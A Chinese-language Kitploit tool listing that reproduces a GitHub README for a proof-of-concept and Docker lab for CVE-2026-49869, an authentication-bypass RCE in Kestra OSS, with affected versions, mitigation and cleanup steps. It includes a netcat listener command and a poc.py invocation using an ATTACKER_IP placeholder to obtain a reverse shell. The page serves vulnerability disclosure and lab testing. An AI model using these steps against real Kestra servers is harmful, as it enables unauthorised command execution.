Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-49869 — CVE-2026-49869 的 PoC 与 Docker 实验环境,该漏洞是 Kestra OSS 中通过 AuthenticationFilter 路径绕过实现的未认证 RCE,可导致流程创建与命令执行。 | Kitploit
工具/GitHubGitHub/eqstlab/cve-2026-49869
漏洞分析漏洞利用Web应用程序漏洞利用安全虚拟化Web安全渗透测试身份验证远程访问工具实验室与实践
GitHubeqstlab/cve-2026-49869

CVE-2026-49869

CVE-2026-49869 的 PoC 与 Docker 实验环境,该漏洞是 Kestra OSS 中通过 AuthenticationFilter 路径绕过实现的未认证 RCE,可导致流程创建与命令执行。

151天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

CVE-2026-49869: Kestra 未认证远程代码执行

★Kestra OSS AuthenticationFilter 认证绕过漏洞的 PoC 与 Docker 实验环境★

仅在您控制的系统上运行此实验环境。-p 8080:8080 示例可能会将所有主机接口上的易受攻击 API 暴露出来;请阻止来自其他网络的访问。

https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865

概述

Kestra 使用 Basic Auth 保护其 API。在受影响的 OSS 版本中,AuthenticationFilter 将任何以 /configs 结尾的请求路径视为公共配置端点。因此,未认证的客户端可以创建一个名为 configs 的 flow,然后通过同样以 /configs 结尾的 API 路径执行它。该 flow 中的 shell 任务可以在 Kestra worker 容器中执行命令。该缺陷及 RCE 利用链在 Kestra 安全公告中有详细描述。

受影响版本

Kestra OSS 分支受影响版本首个修复版本
1.0.x 及更早早于 1.0.451.0.45
1.1.x–1.3.x1.1.0 至 1.3.201.3.21

该实验环境使用启用了 OSS Basic Auth 的 v1.3.20。当 Kestra API 可访问时,该问题会影响此认证路径;本地镜像基于 kestra/kestra:v1.3.20。

影响

  • 无需凭据即可创建并执行 flow。
  • 通过已安装的脚本任务,以 worker 容器的权限执行命令。
  • 访问或修改其他 API 路径以 /configs 结尾的资源;该公告还描述了通过工作流模板进行的 SSRF。

容器权限并不意味着主机权限。

环境

该仓库应包含 Dockerfile、entrypoint.sh 和 poc.py 以及本 README。运行目标需要 Docker;PoC 需要 Python 3。无需安装任何 Python 包。

docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab

entrypoint.sh 使用仅用于实验环境的账户启用 Basic Auth:

用户名密码
[email protected]Eqst123!

Kestra 要求用户名采用电子邮件格式,密码至少八个字符,包含大小写字母和一个数字。这些凭据仅为本地测试而公开。

等待第一个请求返回 200。第二个请求应返回 401,表明 Basic Auth 保护了普通 API 路径:

curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs

如果已停止的容器已使用相同名称,请使用 docker start cve-2026-49869-lab 复用它,或在用 docker run 创建新容器之前移除该容器。

PoC

该脚本在无凭据的情况下发送两个请求:一个使用 shell 任务创建或更新 configs/configs,下一个启动其执行。无需任何现有的用户创建的 flow。再次运行该脚本会用相同名称替换实验 flow。

首先,在接收 shell 连接的机器上启动监听器:

nc -lvnp LISTENER_PORT

然后从包含 poc.py 的目录运行 PoC:

python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT

对于同一机器上的 Docker 实验环境,将 TARGET 替换为 127.0.0.1。将 ATTACKER_IP 设置为容器可访问的 IPv4 地址;该脚本不会启动监听器。脚本会打印执行响应,包括执行 ID。需要在监听器上建立连接才能确认反向 shell 本身是否成功。

观察到的结果

记录的本地测试使用了一个无害的 Log 任务来验证认证绕过和工作流执行。它没有运行反向 shell 载荷。

检查项v1.3.20v1.3.21
普通受保护 API,无凭据401401
创建 configs flow,无凭据200401
启动 configs 执行,无凭据200401
在受影响版本上的无害任务SUCCESS,日志中有标记—

反向 shell 回调不属于这些记录结果的一部分。

缓解措施

在 1.0.x 分支上升级到至少 1.0.45,或在 1.1.x–1.3.x 分支上升级到 1.3.21。上游修复会规范化路径并检查确切的公共配置路由,而不是接受每个 /configs 后缀。在升级完成之前,请限制对 Kestra API 的访问,并仅在代理处允许对预期公共路由的未认证访问。

清理

docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab

参考资料

  • Kestra 安全公告 GHSA-5vc5-wxxq-3fjx
  • CVE-2026-49869 记录
  • Kestra v1.3.21 发布
  • AuthenticationFilter 修复
下载工具